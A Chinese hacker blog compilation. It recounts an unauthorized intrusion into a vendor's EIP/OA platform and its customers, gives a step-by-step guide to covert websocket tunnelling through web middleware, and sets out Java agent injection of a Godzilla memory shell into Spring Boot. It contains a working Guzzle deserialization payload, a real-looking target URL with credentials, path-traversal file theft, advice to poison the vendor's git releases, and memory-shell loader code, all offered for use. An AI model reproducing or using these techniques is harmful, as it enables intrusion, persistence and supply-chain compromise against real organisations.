没东西水了，而且没成功，索性就放出来吧。

很久以前的案例，由于太过丢人，一直不怎么敢提，有些资源当时也没截完全，就顺手看看吧闲着无聊，开日！
目标是谁好呢？随便找一个吧。

*电？很NB，就他了！

外网搜一堆资产，不是自研，就是一些功能简单的前端Nodejs，一眼能打的资产很少。

怎么办呢？这时候我们发现了一个很好的目标

系统名称eipplus，一看就是个类似OA系统一样的东西，功能一定很多。同时一搜公网资产

很好，很有精神！同代码的站点，非常非常的多，就从他作为突破口！

总而言之，先搞到一套源码先。之后就是开始平淡无奇的供应链环节，辣么多站，总不至于一个都打不下来吧

平淡无奇供应商找个注入

平淡无奇getshell

平淡无奇发现目标

平淡无奇打死

怎么打死的呢？利用内网数据正好撞到sysadmin的密码，然后登录上去后台上传Logo图片直接传马成功

下载源码！一看

人当场裂开，怎么还是sourceguardian加密的。当场想哭。不过在这之前，至少我们能见到他们系统内部长啥样以及他们的代码架构具体是啥了。

本地起个环境，大概的模样长这样

随手截的一些图，大伙看个乐呵就行

以及大致的目录结构

到此为止，我们已经拥有了目标代码，只不过是加密的，以及一个同站的高权限后台。但是我们目标系统肯定是没有sysadmin权限的

现在我们的方案有几个：

• 配合目录和后台，黑盒寻找未授权打死
• 寻找后门工具/开发者工具，想办法解密然后打死
• 寻找越权，然后从低权限越权到高权限，再利用我们后台传马的功能直接打死目标

看看其他可能的漏洞点，这类系统的漏洞点无非就是几个，我们只要关注如下地方

• 相册
• 附件
• 上传
• 系统环境管理
• 系统更新

都测了一通过后，发现安全做的勉强还行，普通用户都没办法访问系统更新和系统环境管理这些后台功能，相册和附件那没有直接一眼低权可以访问的getshell的点

只能第二个方法，我们看看目录结构

对于黑盒看目录结构，我们重点关注几个东西

• 文件管理（filemanager），看看有无未授权
• 开发工具（tools/develops）,有没有开发遗留后门
• 各类工具(utils),主要是看有没有未授权
• 日志(log) , 主要是看有没有信息泄漏
• 配置文件(config),其实一般看不出来啥，但是我写出来只是单纯觉得一旦能看出来啥就很厉害
• 管理后台(admin)，主要还是看未授权

注意是黑盒情况下，因为我们目前没办法获得完整源码，所以没办法深入查看详细业务去审计漏洞，实际白盒的话还有很多漏洞是会出现在业务代码里的

只要看到这些关键词，基本都是很有意思的东西，都可以想办法打开访问访问试试，看看有没有什么未授权接口或者开发遗留

其中有几个东西很有意思，一个是

这个文件夹下面很有可能会有开发的一些系统调试工具，比如SQL查询工具啊文件管理工具等 以及

虽然说是iso，但是其实本质上应该还是个zip相关工具，就有可能出现zip畸形目录漏洞，利用../../这样逃逸导致任意文件写入之类的

以及顺手看了看后台admin目录下的内容，都是很有意思的东西

以及还有一个很好玩的文件

推测这是用于授权的证书，只不过这个<?php，非常的有意思

简单初步黑盒测了一通，完全没有未授权接口，人都傻了，怎么办？开逆咯

sourceguardian 12加密，去淘宝查了下价格，一个文件5R。这几千个文件，tnnd逆到猴年马月，而且看都看不出来，没办法，只好装工具先自己手动看字节码逆了

装了个vld，一个字节一个字节的看，对着developtools和admin下的东西，看了半天，P都没看出来

人直接脑溢血，越想越气，越气就越怒，怒怒怒到极致邪气了，服气，不服不行，怎么办？恶像胆边伸，要不我们直接把开发商打了吧。

直接去代码里看这个开发商，很容易的看出开发商是谁

本系统由百*资通维护

进行一波信息搜集

甚至发现他们有git

好，很有精神，就日它了！但是TMD git访问不到，怎么办？

以及一些git泄漏，但是都没什么卵用。

其他站点不是都是eipplus这套系统的测试站，就是一个单纯啥都没有的前端。怎么办呢？

这时候，我们发现了一个东西

30天免费试用？

抱着试一试的态度，注册了申请

结果真的发来了，乐，对自己的系统这么自信

这不干他？直接一眼顶针，故技重施，后台，系统管理，上传LOGO图片，一看，tmd修了，上传失败

只能继续看其他东西了，继续回到刚刚的思路，系统环境管理看完了，看系统更新

更新Saas服务？以及刚刚admin目录下那个saas.txt并且带<?的php文件

嘿哟喂，这不巧了吗？于是乎，添加一句话

上传，死！果然，直接liences他们是直接用include加载的，乐

顺带看了一下，他们这全套源码都是ROOT部署的，十分的NB，web目录全部没有权限写，只有这个saas.txt我们有权限修改

一看，不用打git了，他们部署的站点，直接就没加密，愉快的下源码

虽然说站点第二天就被应急了，amazone有什么agent检测的吗？不知道怎么回事，不过这不碍事。

愉快开审咯！

继续整理现有资产

• 我们拥有的：完整的白盒代码
• 目标的低权限账户，虽然我们手头暂时没有，但是我们先假设我们有，辣么多员工如果一个账户都搞不到那还是别打肾透了.jpg，对自己自信一点

所以现在的需求很简单，就从之前的半黑盒完全转变成了白盒。这下门道就多多了。比如业务代码啊框架啊就有很多可以审的地方了

先按照找Java的管理，找Fastjso...噢不对，这是PHP代码，也一样。 首先先看autoload这类自动加载

一眼Guzzlehttp

再搜unseralize，结果真的有！！

在 calendarcsv_import.php 目录下，并且普通用户可以访问！

直接用PHPGGC构造请求(详细payload不是这样，要进行一些编码，但是这里为了方便查看就直接这样了，大家看看就行)

POST /eipplus/calendar/csv_import.php
action=next
next=1
trans=111
fieldsep=1
cal_fields=O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:" GuzzleHttp\Psr7\FnStream methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:" GuzzleHttp\HandlerStack handler";s:9:"phpinfo()";s:30:" GuzzleHttp\HandlerStack stack";a:1:{i:0;a:1:{i:0;s:6:"assert";}}s:31:" GuzzleHttp\HandlerStack cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:" GuzzleHttp\HandlerStack handler";s:9:"phpinfo()";s:30:" GuzzleHttp\HandlerStack stack";a:1:{i:0;a:1:{i:0;s:6:"assert";}}s:31:" GuzzleHttp\HandlerStack cached";b:0;}i:1;s:7:"resolve";}}

本地测试轻松写出

想着勾八目标直接写webshell tnnd不就行了？结果想起来他们这全套都是部署在ROOT下面

不管了先试试！冲！

https://osheip.**.com.tw/eipplus/home/index.php 121public/121public

轻轻松松搞到个账户先

漏洞点也存在

写出！寄，没写成功，但是也不算太糟，至少已经成功了98%了，距离完美只差临门一脚

继续整理思路，现在我们已经有getshell的方式了，虽然说web目录不可写，但是那个saas.txt文件是可以写的。并且guzzle写文件用的是file_put_contents，默认写出是写相对路径，我们压根不需要web目录的绝对路径就能定位到saas.txt的地址。假如如果我们只要getshell不管后续，我们只要用这个反序列化直接对着saas.txt覆盖成我们的马就行，但是这样会有一个问题

如果直接写的话就会覆盖原本saas配置，导致直接网站直接爆炸，并且就算我们getshell后，也没办法恢复成原样，因为我们压根不知道原本的saas配置导致光速被发现。所以我们就只剩下最后一个目标，挖个洞。把saas.txt下回来！，然后在夜深人静的时候，光速写入saas.txt，连上shell再把saas.txt改回去。

接下来就面临噩梦了，必须得审业务代码，他们这个B代码总共有500M，属于是最害怕的一集出现了！！

没办法，硬着头皮上了，什么file_get_contents啊，fopen啊什么一大堆看了一遍，不是修了就是写的十分的安全。痛苦，悲

看了两个多小时，终于终于终于终于终于，不愧是天天天天天才的我，终于读成功了。

继续回到上面一个重点关注列表：

• 相册（输）
• 附件
• 上传（输）
• 系统环境管理（输）
• 系统更新 （输）

具体流程如下：

发布帖子

随便添加个附件

抓包，修改tmp_name，让他进行跨目录

直接查看源码，在common_functions.inc.php中，可以发现代码对于tmp_name是直接进行拼接的，没有任何过滤！！！

然后我们发布文件后，下载的文件就会变成我们的tmp_name的文件。只要我们把tmp_name，指向saas.txt这个文件，然后发布，然后再下载我们自己的附件，就可以把saas.txt下回来了！爽！

不愧是我，天才中的天才

本地测试成功，远程测试成功

saas.txt下回来成功，现在所有拼图都已经集齐

现在就是等待夜深人静的时候上去csv_import啪的一下打死这破站，然后开开心心的冲内网美滋滋了

为了防止被发现，开始清理帖子走人，成败就等夜深人静时刻

然后。。。。就没有然后了。

晚上回来，发现，无法登录了都。。

天才你mlg臭嗨，笨比，你就是个纯纯纯纯笨比，笨比中的笨比，啊啊啊啊啊

原来笨比，竟是我自己。

当我沉浸在下回saas.txt洋洋得意中的时候，我手贱删除了帖子。

但是我没有意识到，删除贴子的时候，会删除附件，然后由于这个帖子的附件已经成功被我重定向到saas.txt，我一删除附件，saas.txt也就跟着一起消失了。

然后站就这么炸了，一键白打。

完

来自2024的点评

这事很早很早的时候弄得，那时候还是太年轻了啊。那时候只学会供应链的其一，没学会供应链的其二。终究搞得还是太费力气了，在自己不熟悉的领域（代码审计）上硬磕

测试站应该深入继续，而不是死盯着源码，应该直接拿下git然后悄悄往里面投毒，或者往发布的release版本里面投毒，这种源码加密站点投毒是最方便的。基本检查不出来。当时应该离git很近了。

不过无所谓了，反正就是休闲时日一日的东西。继续滚去干活了

前言

frp反弹确实很爽，但是很多时候这B服务器不出网，或者说动不动就被流量设备检测到了

linux下可以使用iptables做端口复用，windows下就没啥办法了。

除非你花一大笔钱找微软买个签名把驱动给签了然后做端口复用，这个土豪的方法我们先不提。

还有一个方法就是使用Neo这种类型的，挺好用的，但是有没有更快一点的方案？

比如。。。websocket？直接长连接？直接做到原生tcp的运行效率？

二话不说，开干！

iptables 端口复用

这里就随口提一下iptables端口复用

如果我们直接请求目标服务器的任意端口，只要能在netstat -anpt里面看到我们的请求IP，我们就能根据这个IP用iptables做一个端口转发

iptables -t nat -A PREROUTING -p tcp -s 我们的IP --dport 目标WEB端口 -j REDIRECT --to-port 转发端口

GOST

原本想动手写的，但是想了想还是不能乱造轮子，于是乎github稍微搜索了一番，愉快的找到了这个工具

项目地址：GOST

我们目标也很简单，就是听个websocket的代理，然后使用各种中间件中转，最后用本地代理，设置级联就行

项目里的功能正好符合我们的需要，我们只需要在远程服务器上，运行

gost  -L ws://:7000

然后在中间件各种配置，最后在我们本地使用

gost -L=:8080 -F=ws://远程web地址:远程web端口

就可以使用web端口复用走Web的，长连接的，websocket的代理了

Nginx中间件配置

nginx的配置挺简单的，一个端口转发就行

location /ws {
        proxy_redirect off;
        proxy_pass http://ws监听ip:本地ws监听代理;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $http_host;
        proxy_read_timeout 300s;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

Nginx有个好，就是有热重载功能，直接一句nginx -s reload就行，至少不怕炸原本的业务

Apache

Apache修改的就有点多了， 得给配置文件添加模块引用。然而唯一有点安慰的就是，这玩意的模块是自带的。

先引用模块，有两个方案，直接用命令

sudo a2enmod proxy proxy_http proxy_ajp proxy_balancer mod_proxy_wstunnel.so

或者直接在你的conf里面添加，把上面这些模块都加进去

LoadModule proxy_module /usr/lib/apache2/modules/mod_proxy.so # 填写apache模块的绝对路径
....

然后写入代码

ProxyPass /ws ws://127.0.0.1:7000/ws

最后再service apache2 reload就行

IIS

windows就不大一样了，可以图形化点点点，也能命令行，啊，但是命令行操作我不会.jpg

应该可以用powershell解决，但是windows上其实非常滴麻烦，因为要手动安装两个模块，并不自带

所以推荐还是Neo或者IIS插件后门，除非你觉得管理员水平实在太差。

首先是启用Websocket，打开控制面板，启用或删除windows功能

选上Websocket

接下来就是安装ARR和URL REWRITE
安装ARR:application-request-routing
安装URL REWRITE:url-rewrite

然后配置ARR



点击启用就行

然后配置一个URL转发，找到你的项目吃，点击URL重写

咱们也不需要什么通配符，直接完全匹配GOST的ws就行

其他中间件

原理基本就是配一个websocket转发，大差不差

进阶

上面的ws全部应该都可以改成MWS，我看gost是支持多路复用的，虽然不知道实际提升有多大，但是听起来很牛逼，那就当它很牛逼就好了

还有一个就是ws的通讯协议没加密，可以考虑升级WSS，但是WSS配置又会遇到很多很麻烦的东西。最典型的就是证书啊证书啊证书啊。

还有一个就是gost的ws默认监听路由也得改一改，流量特征太大了。这些后续都要自己处理一下，避免实战中被发现。

前言

内存马高级，文明，实体马粗鄙，弟弟。

所以感觉现在能打内存马基本都是直接打内存马了，但是有时候，我们拿下springboot，是通过一些其他方式拿下的，并不是通过web的代码执行。

这时候，我们想做一个后门，常规正向后门又因为目标大多是内网环境访问不到，反弹后门流量又太大，而且这些后门可能还会留下实体文件，端口复用又需要root，而且有概率打炸。灵车率十分的高，所以我们最好的目光就是再springboot打一个内存马，文件不落地，正向连接隐蔽性高。

所以打内存马的目标十分简单，归根结底就是在进程中执行我们的jvav代码，然后打上注册上路由绑定上内存马。

打内存马的方案

如何在进程中执行任意代码？最简单的办法就是注入，然后java是虚拟机，它十分贴心的提供了一套native接口供我们调用，推荐一个工具：jattach

用这玩意大概原理可以直接注入进内存，很贴心的帮我们调用了java native api，然后打入我们的agent。

使用方式就直接jattach.exe pid load instrument false 'agent路径'

那么我们第一个目标就是制作一个agent

制作agent

agent我们主要就是当成一个有特殊入口点的DLL就行，agent主要在于premain,agentmain等这些函数，这些函数网络上介绍的已经很详细了，我们这里就不再赘述，我们直接看向agentmain，这个作用主要是虚拟机加载完之后会调用这个函数。

同时，我们修改MANIFSET.MF文件，添加一个Agent-Class 指向我们的入口点类

完整模板如下

//META-INF/MANIFSET.MF
Manifest-Version: 1.0
Created-By: 18.0.1 (Oracle Corporation)
Premain-Class: com.bie.agent
Agent-Class: com.bie.agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

package com.bie
public class agent {
    public static void agentmain(String agentOps, Instrumentation inst) throws UnmodifiableClassException, IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    }
}

接下来，我们再其中添加代码执行的函数，一般运行内存马的时候，是直接使用Thread.currentThread().getContextClassLoader()，来加载我们的class，在web中可以使用，但是在这里不行

因为在web中运行时，我们当前的Thread已经包含了所需要的上下文已经环境变量，所以接下来打入内存马时候才能把我们的内存马添加到路由管理里，一般这个线程名字在tomcat和springboot中是叫做xxx-EXEC-一个数字，但是此时我们是注入进去的，线程中并不包含这些信息，所以我们就得另辟蹊径。

既然这个线程没有，那么我们直接枚举过去不就行了？反正java中try这个东西实在是好用，能成就能成，不能成用try兜住反正也不会炸。

于是乎，我们的代码就可以这样写

Method m = Thread.class.getDeclaredMethod("getThreads");
        
        m.setAccessible(true);
        Thread[] threads = (Thread[])((Thread[])m.invoke((Object)null));

        for(int i = 0;i<threads.length;i++){
            try {

                byte[] var2 = (new BASE64Decoder()).decodeBuffer("你的内存马base64");

                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
                defineClass.setAccessible(true);


                Class Evil = (Class) defineClass.invoke(threads[i].getContextClassLoader(), "EvilGodlliza", var2, 0, var2.length);
                Constructor constructor = Evil.getDeclaredConstructor( int.class);//这里要设置和析构函数的参数一样，我们Eval里只有一个int所以就设置成int
                constructor.setAccessible(true);
                constructor.newInstance(111);

            } catch (Exception var4) {

                var4.printStackTrace(ps);


            }
        }

直接通过循环所有线程，暴力加载，反正只要在内存里，总有一个是可以成的

内存马部分

总而言之言而总之，就是内存马，详细可以参考我之前写的SpringBoot 内存马 && SPEL注入内存马

不同的就是想办法把哥斯拉扣出来，不过这种基本都是小菜一桩，把jsp的request和response和session换成springboot的就完事了，我们主要是要处理Context获取，不同版本获取Context的方法都各不相同。于是乎我总结了一些直接获取Context的方法

                org.springframework.web.context.WebApplicationContext context = null;

                try{
                    java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
                    filed.setAccessible(true);
                    context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
                }catch (Exception exx){
                    exx.printStackTrace(ps);
                }

                if (context == null){
                    try {
                        context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

                if (context == null){
                    try {
                        context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }
                if (context == null){
                    try {
                        context = ContextLoader.getCurrentWebApplicationContext();
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

                if (context == null){
                    try {
                        context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
                    }catch (Exception exx){
                        exx.printStackTrace(ps);
                    }
                }

直接套上就能用，然后就是规规矩矩的加路由

                RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
                Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
                field.setAccessible(true);
                java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(requestMappingHandlerMapping);
                EvilGodlliza vulInterceptor = new EvilGodlliza( 0);
                adaptedInterceptors.add(vulInterceptor);

                out.write("ojbk");
                out.close();

合起来大概就能用了

另外一个思路

其实再agent中，我们不只可以用这个方法，还有一个方法是通过jvm虚拟机api，直接修改native字节码，这个太晚了，明天再写，咕咕咕